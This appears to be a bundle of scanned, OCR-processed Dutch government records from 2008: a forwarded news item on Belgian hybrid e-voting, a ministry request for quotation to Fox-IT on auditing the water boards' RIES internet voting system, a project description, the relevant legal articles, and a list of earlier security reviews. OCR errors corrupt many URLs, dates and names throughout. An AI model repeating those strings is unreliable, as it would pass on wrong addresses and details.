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dinsdag 11 maart 2008 16:34

Van:

Verzonden:

Aan:

Onderwerp: FW: Vlaanderen kiest voor hybride elektronisch stemmen

-lkwilje deze link niet onthouden. Dit gaat over een studie die de Raad van'Europa heeft gedaan

naar een vijftal studies dle belgie heeft laten uitvoeren om hun stemsysteem aan te passen. Ook

internetstemmen wordt hier kort als optie aangehaald en dus naast de richtlijnen van de RvE

gelegd.

ID
-----Oorspron kel ij k bericht-----
Van:

Onderwerp: RE: Vlaanderen kiest voor hybride stemmen

En bijgaand de link waar mee informatie te vinden is over dit prototype. En ook het advies van de raad van
Europa over of ze wel of niet aan de recommendation voldoen (heeft ondergetekende ook aan gewerkt!)

Groet,

http ://www. i bz. rrn.fgov. be/i nd ex. p hp ?id = 1 062&L= 1

F

Sent: Friday 7 March 2008 L7:44
To:
Subject: Vlaanderen kiest voor hybride stemmen

Vlaanderen kiest voor hybride elektronisch stemmen
Miljoen euro vrijgemaakt voor ontwikkeling prototype

Jibbe Van Oost
07 maart 2008
Bron: itprofessional.be

De Vlaamse regering heeft zich vandaag akkoord verklaard met een federaal voorstel voor hybride
elektronisch stemmen. Volgens dat systeem zal de stemcomputer een ticket met de uitgebrachte stem
afdrukken. De tickets worden daarna verzameld en automatisch geteld. Vlaanderen draagt een miljoen euro
bij aan de ontwikkeling van een prototype.

De federale overheid wil nog voor de verkiezingen van 2009 een uniform systeem voor alle verkiezingen, ook
degene die de gewesten organiseren. Vandaar dat de federale regering een hybride stemsysteem heeft
voorgesteld. Vlaanderen heeft zich al uitgesproken, Wallonië en Brussel moeten nog volgen.

"Voor de federale regering geniet het systeem met een afgedrukt biljet de voorkeur," zegt Peter De Jaegher,
woordvoerder van Vlaams Minister van Binnenlands Bestuur Marino Keulen. "De Vlaamse regering heeft zich
akkoord verklaard met het voorstel om een bestek te maken voor een prototype van de hardware en de
software. Er is zelfs een miljoen euro vrijgemaakt voor de ontwikkeling van het prototype en de software."

Het voorstel voor het nieuwe stemsysteem komt niet uit de lucht gevallen, maar bleek de beste oplossing na

Vezonden: maandag 10 maart 2008 l2:L9

10-9-2008
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een studie van zeven universiteiten. Het systeem werkt met stemcomputers die een papieren ticket uitprinten.
De stemmer kan achteraf zijn stem op papier nakijken, voor hij ze inlevert. Een barcode die ook op papier
staat, moet het machinaal tellen versnellen.

Als het prototype af is, moet de federale overheid nog een Europese aanbesteding uitschrijven, de productie
starten en het systeem testen. De hele procedure moet idealiter voor de verkiezingen van 2009 afgehandeld
zijn. Of die planning haalbaar is, zal afhangen van de snelheid waarmee Brussel en Wallonië zich uitspreken.

htlp_//Wuny_jtpr_qf e-q,s_io_na!,belnew__q-9!1?_id=_8_16113

***************************rk********************************í(***************rí****

Dit bericht kan informatie bevatten die niet voor u is bestemd. ïndien u niet de
geadresseerde bent of dit bericht abusievelijk aan u is toegezonden, wordt u
verzocht dat aan de afzender te melden en het bericht te verwijderen. De Staat
aanvaardt geen aansprakelijkheid voor schade, van welke aard dan ook, die verband
houdt met risico's verbonden aan het elektronisch verzenden van berichten.

This message may contain information that is not intended for you. If you are not
the addressee or if this message was sent to you by mistake, you are reguested to
inform the sender and delete the message. The State accepts no liability for
damage of any kind resulting from the risk inherent in the electronic transmissio
of messages.
************)k*****t(****************************)k*************t(*******************
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fV‘inisterie van Verkeer en WaterstaatOfferte-aarwr a

Aan
Fox-IT

Postbus 638

2600 AP Delft

Contactpersoon	 Doorkiesnummer

Datum	 Bijlagen)

2 april 2008	 4

Ons kenmerk	 Uw kenmerk

VENW/DGW-2008/517
Onderwerp
Offerteaanvraag: Advisering toelaatbaarheid internetstemvoorziening
Waterschappen

Geachte'

Hierbij vraag ik u om een offerte uit te brengen inzake de advisering toelaatbaarheid
internetstemvoorziening waterschappen volgens bijgevoegde bijlagen en de hierna
beschreven voorwaarden.

De volgende bijlagen zijn bijgevoegd en maken deel uit van deze offerteaanvraag:

1. Projectbeschrijving beoordeling internetstemvoorziening waterschappen.
2. Reviews & Audits RIES 2008
3. Brief met kenmerk VENW/DGVV 2008/417.
4. Conceptregeling van de Staatssecretaris van Verkeer en Waterstaat houdende

regels ter zake van de uitvoering van hoofdstuk 2 van het VVaterschapsbesluit.

Acceptatievoorvvaarden

Uw offerte dient in de Nederlandse taal te zijn gesteld, alsmede te zijn gedateerd en
ondertekend door een daartoe bevoegd persoon. Uw offerte dient zo spoedig
mogelijk, maar uiterlijk binnen twee weken na ontvangst van de offerteaanvraag,
schriftelijk te zijn ingediend onder vermelding van het contractnummer DGW 08059
op het volgende adres:



Ministerie van Verkeer en Waterstaat
SSO F&1, kamer B -1.21
Postbus 20901
25OO EX Den Haag.

a:,-i

U dient uw offerte gedurende ten minste 30 dagen na de datum van uw offerte

gestand te doen,
Aan uw offerte zullen voor mij geen kosten zijn verbonden'

Algemene voorwaarden
De volgende voorwaarden van de opdrachtgever zijn van toepassing:

E ARVODI (voor het verrichten van diensten)

Eeoordeling offertes

oéle offertè-aanvraag wordt gelÍjktijdig aa,i drie bedrijvefi toegestuurd.

De offertes zullen worden beoordeeld op basts van:

" prijs

e Plan van aanpak passend in de lijn van de offerteaanvraag

' Deskundigheid en onafhankelijkheid van de uitvoerende personen

Het is toegestaan om deskundigen van buiten de organisatie bij de uitvoering van de

opdracht te betrekken. Voor alle uitvoerende personen geldt echter dat eerdere

BetrokkenneiO Ui1 RIES irï'opdracht van de waterschappen ongewenst is. ledere schijn

van belangenverstrengeling dient vermeden te worden.

Contactpersoon
Voor eventuele vragen over deze offerteaanvraag kunt u contact opnemen met

telefoonnumrne e-mail

Tevens dient ren aa oP het

e-mail adres,

Indien van u geen offerte tegemoet kan worden
omgaande hiervan op de hoogte te stellen,

Aan deze offerteaanvraag kunnen geen rechten

zie ik uw offerte tegemoet.

gezien, verzoek ik

worden ontleend.

u m|J per

Met belangstelling
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Met vriendelijke groet,

DE STAATSSECRETARIS VAN VERKEER EN WATERSTAAT,

namens deze,
DE PROCRAMMALEIDER BESTUUR, ORGANISATIE EN INSTRUMENTATIE,

th_,

tts
.{



Proj ectbesch rijvi n g beoo rdel i n g i nternetstemvoo rzien i n g watersch ap pen

Doel
Het verkrijgen van een deskundigenoordeel over de internetstemvoorziening van de
waterschappen t.b.v. de verkiezingen 2008.

Achtergrond
Waterschappen zijn overheidsorganen met een gekozen bestuur. Eens per vier jaar worden
verkiezingen gehouden voor de waterschapsbesturen. Tot op heden gebeurde dat voor de 26
waterschappen in verschillende periodes. Op grond van de onlangs herziene
Waterschapswet zu I I en d e voJ gende waterscha psverkiezingen voor al le waterschappen
tegelijk gehotÏEen worden, bfi'fuel in november 2008.
Het stemmen gebeurt bij de waterschappen sedert 1994 als regel per brief: de
stemgerechtigde krijgt zijn stembescheiden toegestuurd en kan zijn ingevulde stembiljet per
post terugsturen. Bij de verkiezingen in 2004 is op kleine schaal (bij 2 waterschappen)
internetstemmen aangeboden als alternatief. Het Hoogheemraadschap van Rijnland heeft
daarvoor RIES (Rijnland Internet Election System) ontwikkeld. RIES is in 2006 ook gebruikt
door het ministerie van BZK voor kiezers in het buitenland, op grond van de Experimentenwet
Kiezen op afstand.
Gezien de goede ervaringen met RIES zijn de waterschappen voornemens het
internetstemmen in 2008 landelijk aan te bieden. Het Waterschapshuis, de stichting die voor
de waterschappen lT-ondersteuning verzorgt, zal de uitvoering voor de waterschappen doen.

Rol van de waterschappen en het ministerie
De minister van Verkeer en Waterstaat is verantwoordelijk voor de Waterschapswet. Deze
wet en het daarop gebaseerde Waterschapsbesluit regelen onder andere de
Waterschapsverkiezingen. De waterschappen ztln zelf verantwoordelijk voor de organisatie
en het verloop van de verkiezingen. Op grond van de wet zijn zij verplicht het briefstemmen
aan te bieden. Daarnaast geeft de wet de mogelijkheid om ook het stemmen per internet aan
te bieden.
Het Waterschapsbesluit bepaalt aan welke vereisten de stemvoorziening dient te voldoen
(artikel 2.45 en artikel 2.58, zie bijlage 1). Deze eisen betreffen zaken als het stemgeheim, de
betrouwbaarheid en de integriteit van de voorziening. De minister kan nadere regels stellen
omtrent de voorziening.

Stand van zaken
De waterschappen hebben besloten de voorbereiding en uitvoering van de verkiezing
gezamenlijk te doen. Het Waterschapshuis heeft het internetstemsysteem RIES verder
ontwikkeld en aangepast met het oog op de komende verkiezingen. De
internetstemvoorziening wordt gekoppeld aan de elektronische venrverking van (gescande)
poststembiljetten.
Vanaf 2003 is RIES uitgebreid onderzocht en getest (zie bijlage 2).Op dit moment loopt nog
een beveiligingsonderzoek. Het is uiteraard van groot belang dat het systeem aan de
gestelde waarborgen voldoet. De waterschappen hebben zoals hierboven gezegd weliswaar
in principe besloten het internetstemmen landelijk aan te bieden in 2008, maar kunnen daar
tot enkele maanden voor de verkiezingen nog van afzien, indien onderzoeksresultaten
daartoe aanleiding zouden geven.

Ook het ministerie houdt de vinger aan de pols. Gezien de ophef van afgelopen jaar rond het
gebruik van stemmachines is de toepassing van elektronische voorzieningen in het
stemproces een politiek gevoelig punt. De Tweede Kamer wil goed geïnformeerd worden
door het ministerie over de voortgang en de besluitvorming.
Het ministerie wil de grootste zorgvuldigheid betrachten. Momenteel wordt gewerkt aan een
ministeriële regeling, die de waterschappen verplicht tot het overleggen van relevante
ínformatie, waaruit blUkt dat de internetstemvoorziening voldoet aan de wettelijke eisen, zoals
in de amvb geformuleerd. In de ministeriële regeling wordt daaraan toegevoegd, dat de
stemvoorziening getoetst dient te worden ?an de aanbevelingen van de Raad van Europa.



In de ministeriële regeling wordt voorgeschreven dat de waterschappen de gevraagde
informatie vóór 1 juli aan het ministerie sturen. Het ministerie is voornemens een
onafhankel'rjke instantie opdracht te geven tot het uitvoeren van een audit van het door de
waterschappen aangeleverd materiaal. Op basis van het advies van die instantie (verder
aangeduid als opdrachtnemer) dient de staatssecretaris vóor 1 september haar oordeel te
geven over de internetstemvoorziening. Bij een negatief oordeel mag de voorziening niet
gebruikt worden.

Opdracht aan opdrachtnemer
De opdrachtnemer dient de staatssecretaris te adviseren over de vraag, of op basis van de
beschikbare kennis redelijkerwijs geconcludeerd mag worden dat de stemvoorziening aan de
gestelde eisen voldoet. De opdrachtnemer krijgt daartoe de beschikking over de informatie
(rapporten e.d) die de waterschappen aan het ministerie hebben gestuurd. Daarnaast kan de
opdrachtnemer in overleg met het Waterschapshuis toegang krijgen tot de voorziening zelf.
Met name wordt de opdrachtnemer in staat gesteld het afrondende ketenonderzoek dat de
waterschappen in juni uitvoeren, te monitoren.

Doel van de audit is het beantwoorden van de volgende vragen:
1. Hebben de waterschappen voldoende kunnen onderbouwen dat de

internetstemvoorziening redelijkerwijze voldoet aan de wettelijke eisen, zoals
geformuleerd in het Waterschapsbesluit?

2. Hoe zijn de resultaten van de toetsing van de voorziening aan de aanbevelingen van

de Raad van Europa? Indien de voorziening op een of meer onderdelen niet voldoet
aan de aanbevelingen, wat is daarvan dan de reden?

Ad 1.
Deze vraag impliceert een beoordeling van de door de waterschappen overlegde
onderzoeksrapporten, zo nodig aangevuld met informatie die verkregen is uit eigen
waarneming bij de monitoring van het ketenonderzoek. Zijn alle relevante aspecten van de
stemvoorziening onderzocht? Zijn de uitgevoerde onderzoeken kwalitatief goed en de
conclusies betrouwbaar? Zijn er aanbevelingen voor nader onderzoek of noodzakelijke
verbeteringen aan de voorziening?

Ad 2.
De waterschappen zullen zelf de voorziening toetsen aan de aanbevelingen van de Raad van

Europa. Opdrachtnemer wordt gevraagd een oordeel te geven over deze toetsing, en de
toelichting daarbij van de waterschappen.

De opdrachtnemer wordt gevraagd te rapporteren in de vorm van een advies, dat ingaat op
bovengenoemde vragen. De opdrachtnemer hoeft niet het eindoordeel over de
toelaatbaarheid van de internetstemvoorziening te geven.

Flanning
Zodra de opdracht verstrekt is, kunnen de werkzaamheden in overleg met het
Waterschapshuis van start gaan. Het Waterschapshuis kan naar venrvachting de rapportages
over de reeds uitgevoerde onderzoeken direct overhandigen. Het ketenonderzoek zal
plaatsvinden van 26 mei tot en met 17 juni.
Het advies aan de Staatssecretaris dient gereed te zijn zo snel mogelijk na 1 juli, maar
uiterlijk 15 juli.

Ministerie van Verkeer en Waterstaat,
DG Water
'!9 rnaaÉ 2008



Bijlagen en referenties:

Bijlagen:
1. Artikelen 2.44,2.45 en 2.58 Waterschapsbesluit.

De aanbevelingen van de Raad van Europa zijn vanwege hun omvang niet
meegezonden, zie

2. overzicht onderzoeken Waterschapshuis.
N.B. Deze bijlage dient alleen om een beeld te geven van de eerder uitgevoerde
onderzoeken. Het is nog niet bekend welke van deze onderzoeken door de
waterschappen overgelegd zullen worden en dus in de audit betrokken moeten
worden.

3. Brief staatssecretaris van maart 2008 aan TK over internetstemmen
4. Concept ministeriële regeling

Achtergrondinformatie op internet:
Div. stukken (van workshops e.d. over RIES) op www.surfnet.nl
Evaluatie internetstemmen 2006 op:

en via de pagina:

via-internet



Bijlage Í : relevante artikelen Waterschapsbesluit

Artikel 2.44

ln de paragrafen g tot en met 16 en de daarop berustende bepalingen wordt verstaan
onder:

de voorziening briefstemmen: de voorziening die het stemopdrachtnemer in staat stelt
de per brief uitgebrachte stemmen te verwerken en de uitslag van de verkiezing vast te
stellen.

de voorzienÍng internetstemmen'. de voorziening die de kiesgerechtigde in staat stelt om
zijn stem uit te brengen met behulp van internet en die het stemopdrachtnemer in staat
stelt de uitslag van de verkiezing vast te stellen.

Artikel 2"45

1. Een voorziening als bedoeld in artikel 2.44, voldoet aan de volgende vereisten:
a. het geheime karakter van de stemming is voldoende gewaarborgd;
b. de betrouwbaarheid van de voorziening is voldoende gewaarborgd;
c. de voorziening is zodanig ingericht, dat het stemopdrachtnemer in staat wordt gesteld

de stemopneming, alsmede de hertelling van de stemmen overeenkomstig de voor die
stemming geldende regels te verrichten;

d. de voorziening is zodanig ingericht, dat de telling of hertelling van de uitgebrachte
stemmen desgewenst kan plaatsvinden met behulp van een systeem dat geen onderdeel
is van de voorziening;

e. de voorziening is beveiligd tegen inbreuken, zowel van buitenaf als van binnenuit, die
de integriteit van de voorziening in gevaar brengen of kunnen brengen.

2. Ten aanzien van de voorziening zijn technische en organisatorische maatregelen
getroffen om de integriteit en de betrouwbaarheid van de stemming te waarborgen.

3. Bij ministeriële regeling kunnen nadere regels worden gesteld omtrent de toe te
passen voorziening. Daarbij kan tevens de eis worden gesteld dat de voorziening wordt
goedgekeurd door een daartoe door Onze Minister aangewezen instantie.

4. Teneinde te waarborgen dat wordt voldaan aan de in de vorige leden bedoelde eisen
en voorschriften stelt het dagelijks bestuur een protocol op. In dit protocol wordt tevens
beschreven:

a. de procedure van het vervaardigen van de stembescheiden;
b. de wijze waarop de code, bedoeld Ín artikel 2.48, eerste lid, wordt vastgesteld.
5. Het protocol, bedoeld in het vierde lid, wordt tenminste twee weken voor het begin

van de stemming ter inzage gelegd op het kantoor van het waterschap en wordt
toegezonden aan gedeputeerde staten.

Artikel ?.58

1 . Onverminderd artikel 2.45, eerste lid, voldoet de voorziening internetstemmen aan de
volgende vereisten:

a. indien de voorziening de vermelding van kandidatenlijsten omvat, dienen deze lijsten,
het aan elke lijst toegekende nummer en de aanduiding van de belangengroepering,
alsmede de mogelijkheid een blanco stem uit te brengen, op duidelijke wijze te kunnen
worden vermeld;

b. een voorziening is zodanig ingericht dat de kiezer in staat wordt gesteld zijn stem op
de wijze als bedoeld in deze paragraaf uit te brengen;

c. de voorziening is toegankelijk en gebruikersvriendelijk voor de kiezers;
d. de voorziening is zodanig ingericht, dat het stemopdrachtnemer in staat wordt

gesteld op het verloop van de stemming toe te zien;



e. de identiteit van de kiezer wordt door de voorziening geanonimiseerd geregistreerd;
f. de voorziening stelt de kiezer mede in de gelegenheid een blanco stem uit te

brengen.
2. Er worden maatregelen getroffen om te kunnen controleren of de voorziening tot en

met het einde van de stemperiode functioneert.
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Reviews & Audits RlËS 20080

Samenvatting:
Hoofdlijn: externe audits maken onderdeel uit van de ontwikkelcyclus van RIES door de jaren heen.

2OO2 * 2OO4 (aanloop naar de waterschapsverkiezingen Rijnland en de Dommel):
Eind 2002, in de aanloop van de waterschapsverkiezingen van 2004 heeft het Hoogheemraadschap
van Rijnland een haalbaarheidsonderzoek omtrent stemmen via internet laten uitvoeren door TNO
technische menskunde. Dit heeft geleidt tot de ontwikkeling van een prototype RIES (Rijnland Internet
Election System) genaamd. In 2004 is het prototype op kritische aspecten ondereocht en beoordeeld
door verschillende gerenommeerde expertise centra.

Begin 2OO4 heeft een team specialisten van Peter Landrock's Cryptomathic (in Aarhus, Denemarken)
de cryptografische opzet beoordeeld en heeft TNO Human Factors uit Soesterberg de
gebruikersvriendelijkheid van de implementatie tegen het licht gehouden, hebben de security experts
van Madison Gurka uit Eindhoven de server- en netwerkopzet en beveiliging getoetst en voerde een
team van Bart Jacobs (Katholieke Universiteit Nijmegen) externe penetratietests uit.

De feedback heeft geleidt tot verbeteringen in RIES waarna het systeem in oktober 2OO4 met succes is
toegepast tijdens de waterschapsverkiezingen van Hoogheemraadschap van Rijnland en waterschap de
Dommel.

2005-2006 wervroegde toepassing voor KOA:
In aanloop van de vervroegde tweede kamerverkiezingen van 2006, is RIES ingezet tijdens het
experiment "Kiezen op Afstand" van het ministerie van binnenlandse zaken. De veranderende context
maakte verdere ontwikkeling van RIES noodzakelijk. Door de scherper gestelde eisen, de naar voren
geschoven verkiezingsdatum en de verder geëvolueerde stemdienst RIES was er een sterke noodzaak
om het geheel van techniek, beheer en beveiliging maar ook processen en procedures kritisch tegen
het licht te houden.

Onder de vlag van het projectteam'Kiezen op Afstand', is de stemdienst (waar RIES een onderdeel
van uitmaakte) uitvoering getest. In aanvulling op de reeds uitgevoerde onderzoeken naar RIES, is
opdracht gegeven aan CIBIT om de broncode te beoordelen van de implementatie van RIES en heeft
GOVCERT.NL een audit uitgevoerd op het beveiligingsniveau van de website waarmee een
internetstem kon worden uitgebracht. Het systeem heeft de testen en onderzoeken met goedgevolg
doorlopen, wat heeft geleidt tot succesvolle inzet van RIES tijdens de tweede kamerverkiezingen voor
de Nederlandse kiezers in het buitenland.

2006-2OO8 Ë-andelijke Waterschapsverkiezingen 2OO8:
Het najaar van 2008 staat in het teken van de eerste landelijke waterschapsverkiezingen. Bij het
besluit hieftoe, door de waterschappen, is ook vastgelegd dat naast het vertrouwde stemmen per
brief, iedere stemgerechtigde zijn stem via internet moet kunnen uitbrengen.

De waterschappen zullen bij de voorbereiding en uitoefening van deze nieuwe vorm van
waterschapsverkiezingen intensief worden begeleid door de landelijke projectorganisatie. Het Rijnland
Internet Election System, zal op de nieuwe context worden afgestemd onder de noemer RIES 2008.
Het belang van her-evaluatie van eerdere uitgangspunten en onderzoeksdomeinen is onontbeerlijk. In
2008 worden relevante onderzoeken om rechtsgeldige verkiezingen te garanderen uitgevoerd.
Verouderde onderzoeken zullen worden herhaald en voor niet eerder beoordeelde domeinen zullen
nieuwe onderzoeken worden opgezet.

In 2008 zal de EIPSI van de TU Eindhoven een analyse maken van de algehele veiligheid van RIES
2008. Daarnaast zal de RIES 2008 implementatie na oplevering wederom aan een broncode
beoordeling onderhevig worden gesteld door een onafhankelijk gerenommeerde expeftise centrum.



2ffi02 * 2004 {Ries - Rijnland}

$rgamlsatie T${O Tecirn iscÍ're il/lensku nde, Soesterbeng

Titel EL$: tseveiligings- en gebruikersaspecten varr elektronisch sternrnen voor het
h{ooqheemraadschap van Riin land

Datum 1 9 dec 2002

Auteur ('s)

Bestandsnaam http ://wunv. rij n la nd kiest. n l/contents/pa ges/00 000 1 0 9/ra pporttn a. pdf

Onderzoeksvraag Door TNO uitgevoerd haalbaarheidsonderzoek naar het gebruik van stemmen per
telefoon en stemmen per PC (via internet) bij de waterschapsverkiezingen van 2004
van het Hoogheemraadschap van Rijnland. Onderzoek is gericht op twee aspecten,
namelijk de techniek (kan een betrouwbaar kiessysteem worden aangeboden) en de
houding van de burger (gebruiksvriendelijkheid en gebruikersacceptatie van een
derqeliik svsteem).

0rganisatie Gnyptomathic, Aarhurs, Fenmark

Titel Review of RIES
( The Cryptoqraphic Desiqn and comments)

Datum 21 januari 2004

Auteu('s) /
Betrokkenen
Bestandsnaam Review of R|ES_cryptomathic comments 20040126.doc

http ://www. s u rfn et. n l/b i i een kom ste n/ries/sa lo m o nson . p pt

Onderzoeksvraag Review of Ries is een security review van het'Rijnland Internet Election System'

TNCI Technisehe [Vlenskunde, Soesterberg

Titel' Fluman factor aspects of the voter screens
referentie: Memo TNO-TM 2004-M006

t

Datum 27 januari 2004

M006 Resultaten Quickscan Myra van Esch.pdf

Het Hoogheemraadschap van Rijnland heeft een prototype ontwikkeld van een
systeem dat het mogelijk maakt elektronisch een stem uit te brengen voor de
waterschapsverkiezingen. TNO ïechnische Menskunde is gevraagd om in dit stadiurn
van de ontwikkeling, voor de daadwerkelijke implementatie, eventuele knelpunten
m.b.t. de gebruiksvriendelijkheid op te sporen. Een onderdeel van deze quickscan is
vast stellen op hoofdlijnen of het systeem voldoet aan de richtlijnen die zijn opgesteld
voor 'Universal Accessibility' (o.a. in het kader van het'drempels weg'-initiatief). Naar
aanleiding van de vastgestelde knelpunten in het systeem zal in overleg met Rijnland
bepaald worden voor welke knelpunten oplossinqen zullen worden uitqewerkt.



0rganisatËe Netpanel, in opdracht van tsurger@Overheid, íCTL, Den Haag

Titel E-stemmen: l-aat jij Ie disitale stem gelden ?
Evaluatie-onderzoek van het online stemmen

Datum Juli 2004

Bestandsnaam http://bu rger.overheid. nl/fi les/def_rapport_stemmen. pdf

Onderzoeksvraag Voor deze meting onder het Publiekspanel geldt de volgende onderzoeksvraag:
'Hoe worden door burgers de procedures bij het online stemrnen en bij de stemcontrole
ervaren?'

Organisatie Securlty of Systems - Faculteit der Natuurwetenschappen, Wiskunde en
Informatica, Radboud universitelt Niirnegen

Titel Server audit van RIES
'externe penetratietests onder leiding van Bart Jacobs'

Datum 23 juli 2004

Auteur ('s)

Bestandsnaam report KUN.pdf
h ttp : //rrvvnw. s u rf n et. n | /b i i e e n k o m ste n /ri e s/h u b b e rs. o d f

Onderzoeksvraag Als Security of Systems groep hebben wij de opdracht gekregen om van bui-
tenaf te proberen de stemseruer aan te vallen tijdens de Burger @ Overheid test,
lopende van woensdag 30 juni, 09.00 uur tot donderdag I juli, 12.00 uur, gevolgd
door een tweede periode lopende van vrijdag g juli, 09.00 uur tot maandag 12
juli, 18.00 uur.

Hierbij was het de bedoeling dat wij zoveel mogelijk zonder informatie te
krijgen over het systeem vanuit het projectteam, de server zouden onderwerpen
aan een test. En dus alleen gebruik mochten maken van de informatie publiekelijk is
qemaakt.

0rganisatie Facu lteit den Natuurvuetensc[rappen, Wiskunde en Enformatica, Radboud
universiteit Niimeqen

Titel Stemmen via internet geen pnobleern
Automatiserinq Gids #42
15 okt. 2004

h ttp ://urrnrur. cs. ru . n li B. J acob s/PAP E RS/ri es_popu I a i r. pd f

lnternetstemmen kan op een veilige manier gebeuren. Eind september, begin oktober is
ervaring opgedaan met het'Rijnland Internet Election System' bij de
waterschapsverkiezingen voor het Hoogheemraadschap Rijnland. Bart Jacobs en
Engelbert Hubbers analyseren wat er precies gebeurt als er via internet wordt gestemd,
hoe veiliq het is en waar de zwakke plekken zitten.



0rganÍsatie Facu lteit der Natu urwetenschappen, Wiskunde en lnformatica, Radboud
universiteit Niimeqen

Titel RIES - lnternet Voting in Action

December 2004

http://unpanl .un.org/intradoc/groups/public/documents/Other/UNPAN024871.pdf

RIES stands for Rijnland Internet Election System. lt is an online voting system that
has been used twice in the fall of 2004 for in total over two million potential voters. In

this paper we describe how this system works. Furthermore we describe how the
system allowed us to independently verify the outcome of the elections-a key feature
of RIES. To conclude the paper we evaluate possible threats to this system and
describe some possible points for improvement.

Madison Gurka, Eindhoven

Titel Grystal-box security eval uation,
<Alleen gedrukte variant beschikbaar HWH>
<status : vertrouwel ! ik>
2004

Beoordeling van de RIES server- en netwerkopzet bij SURFnet op het gebied van
beveiliging.



Ë0S6 * 2007 {Kiezen op tamd}

0rganisatie GOVCERT, Den Ftaag

Titel Webapplicatie-scan Kiezen op Afstand
Status: Vertrouwelijk.
Referentie: DW/ETiAH/6 1 05

Datum 01 september 2006
<vetrouwelijk>

Auteur ('s)

Technische scan KOA-1 .0.pdf

Onderzoeksvraag In opdracht van het |CTU-programma 'Kiezen op Afstand' heeft GOVCERT.NL een scan
uitgevoerd op de website www.internetstembureau.nl. Het doel van de scan is het
verkrijgen van inzicht in het huidige |CT-beveiligingsniveau van de applicatie. Door middel
van een technische scan is de functionele werking van de applicatie in de
productieomgeving getest op bekende kwetsbaarheden. Alleen de technische werking
van de applicatie is onderzocht, de architectuur van de achtérliggende systemen is niet
beoordeeld. Dit rapport beschriift beknopt de resultaten van de uitqevoerde scan.

Sn:ganisatËe ClBlT, Bilthoven

Titel Beoordeling KOA, Een beoordeling van de integriteit van "Kiezen op Afstand"
Broncode review "Kiezen op Afstand"

Datum 11 september 2006

Auteur (1s)

Bestandsnaam http://www.minbzk.nl/aspx/download.aspx?file=/contents/pages/83575/eindrapportcibit.pdf

In het kader van "Kiezen op Afstand" heeft CIBIT een broncodebeoordeling uitgevoerd
naar de implementatie van de waarborEen van de stemdienst. Dit is gebeurd op basis van
onderzoek naar de constructie en implementatie van de applicatie. De waarborgen van
het stemgeheim, uniciteit, kiesgerechtigheid, integriteit, controleerbaarheid, hertelling zijn
allemaal ingevuld door de stemdienst. Ook zijn er afhankelijkheden van de operationele
inrichting en beveiliging in kaart gebracht die noodzakelijk zijn om aan de waarborgen te
voldoen.



Organisatie Ministerie van Binnenlandse Zaken en Koninkrijksrelaties, Den Flaag

Titel R.islcoanalyse Kiezem op Afstand
Stemmen via internet voor kiezers in het buitenland
status Definitief. versie 1.1

Datum 03 april 2007

Auteur ('s)

Bestandsnaam risicoanalyse.pdf

Onderzoeksvraag Dit document inventariseert de mogelijke risico's die zich kunnen voordoen bij een
experiment waarbij de kiezers in het buitenland (ook) kunnen stemmen per internet.
Voor het ínventariseren en rangschikken van de risico's is gebruik gemaakt van
rneerdere invalshoeken. De gehanteerde invalshoeken zijn:
- Risico's per stap in het stemproces.
- Politiek-bestuurlijke risico's.
- Organisatorische risico's.
- Juridische risico's.
- Technische / Operationele risico's.

Organisatie MinisterËe van Einnenlandse Zaken en Koninkrijksrelatieê, Den l'laag

Titel Ëvaluatie van het experËment lntennetstenrrnen
Tweede Kamer verkiezingen 2006, Proiect Kiezen op Afstand

Datum 26 april 2007

Auteur ('s)

/i ievalu ati erapportkoainternetstemmen. pdf

Ondezoeksvraag De evaluatie van het experiment met internetstemmen bij de Europese
Parlementsverkiezingen 2004 bevatte zeven aanbevelingen. Hieronder wordt beschreven in welke
mate deze zijn opgenomen in het experiment 2006.

1. Bied de kiezers in het buitenland opnieuw de mogelijkheid om per internet of telefoon te
stemmen bij de eerstvolgende verkiezingen.

2. Onderzoek de mogelijkheden om de structurele en incidentele kosten van het stemmen
per internet- en telefoon tot het minimum terug te brengen.

3. Wijs een instantie aan om een onafhankelijk oordeel te geven over de betrouwbaarheid
van de technische voorzrenrngen.

4. Ga na onder welke voorwaarden de registratie per internet zou kunnen plaatsvinden.
5. Onderzoek de mogelijkheden om de authenticatieprocedure dusdanig aan te passen dat

het verlies van de toegangscode geen fataal gevolg heeft.
6. Bry een vervolgexperiment kan de ondersteuning verminderd worden.
7. Onderzoek de moqeliikheid voor een kortere stemoeriode.



2008 {Landelijke Watersehapsverkiezingen}

Organisatie Uitvoering: EIPSI, Technische Universiteit
Opdrachtnemer: LaQuSo, TU/e,Radboud

Eindhoven (TU/e)
Universiteit Niimeqen

Titel Werktitel: "Beschrijving en analyse van de veiliElreid van FllES"

Datum Juni 2008

Auteur ('s)

07 10 1B Waterschapshuis ofÍerte R|ES_retour aangepast.doc

Onderzoeksvraag De scope van het onderzoek betreft de technische, organísatorische en procedurele aspecten van
de veiligheid van het RIES-systeem in zijn algemeenheid, met aparte aandacht voor:
- RIES-KOA zoals gebruikt bij de Tweede Kameruerkiezingen in november 2006;
- RIES-2008 zoals nu in ontwikkeling voor de waterschapsverkiezingen van 2008.

Het begrip veiligheid moet hier begrepen worden als het voldoen aan algemeen aanvaarde criteria
die voor verkiezingssystemen in zijn algemeenheid en internet-verkiezingssystemen in het bijzonder
gelden, gericht op het aanvaardbaar houden van de risico's van verkiezingsfraude. Bij de analyse
komt een breed spectrum aan eiqenschappen en perspectieven aan bod, waaronder bruikbaarheid.

0rganisatíe < een onafhankelijke audit-organisatie met bewezen ervaring op dit vlak, details nog niet
bekend>

Titel Broncode revÍew

Datum Medio 2008

Auteur: ('s)

Bestandsnaam

Onderzoeksvraag broncode review van RIES 2008, qua opzet vergelijkbaar met de broncode review KOA uitgevoerd
door CIBIT in 2006.

0rganisatie

Titel Hxtern Review op eerder uitgevoerde onderzoeken

Datum Medio 2008

<een onafhankelijke organisatie gaat in 2008 reeds uitgevoerde onderzoeken beoordelen, details
noo niet bekend>

0rganisatie Alfa-i nfonrnatica, Rij ks un iverslteit Gron in gen

Onderaoek naar usability aspectern van het poststemblljet en de webintenface

2008

AÉteur: (ts)

Probleemstelling: Beoordeling van de opzet van het poststembiljet (Waterschapsverkiezingen 2008)
waarbij de kiezer wordt verzocht zijn geboortejaar in te vullen. Geen of foutieve opgave van
geboorteiaar maakt het stembiliet onqeldiq.



FrËjzen: l.Jnited f{atisns Public Serviee Award 2006:

Region: Europe and North-America:

Winnaar in categorie 1:"lmproving transparency, accountability and responsrveness in the public
seruice"

Testen Mastertestplan P KOA 2006

Het ICTU programma "Kiezen op Afstand" maakte in 2006 gebruik van de RIES stemdienst (Rijnland
Internet Election System). De stemdienst is hiervoor aangepast aan de specifieke (wettelijke)
vereisten voor Tweede Kamer verkiezlngen. Onder het begrip "stemdienst" wordt het geheel van
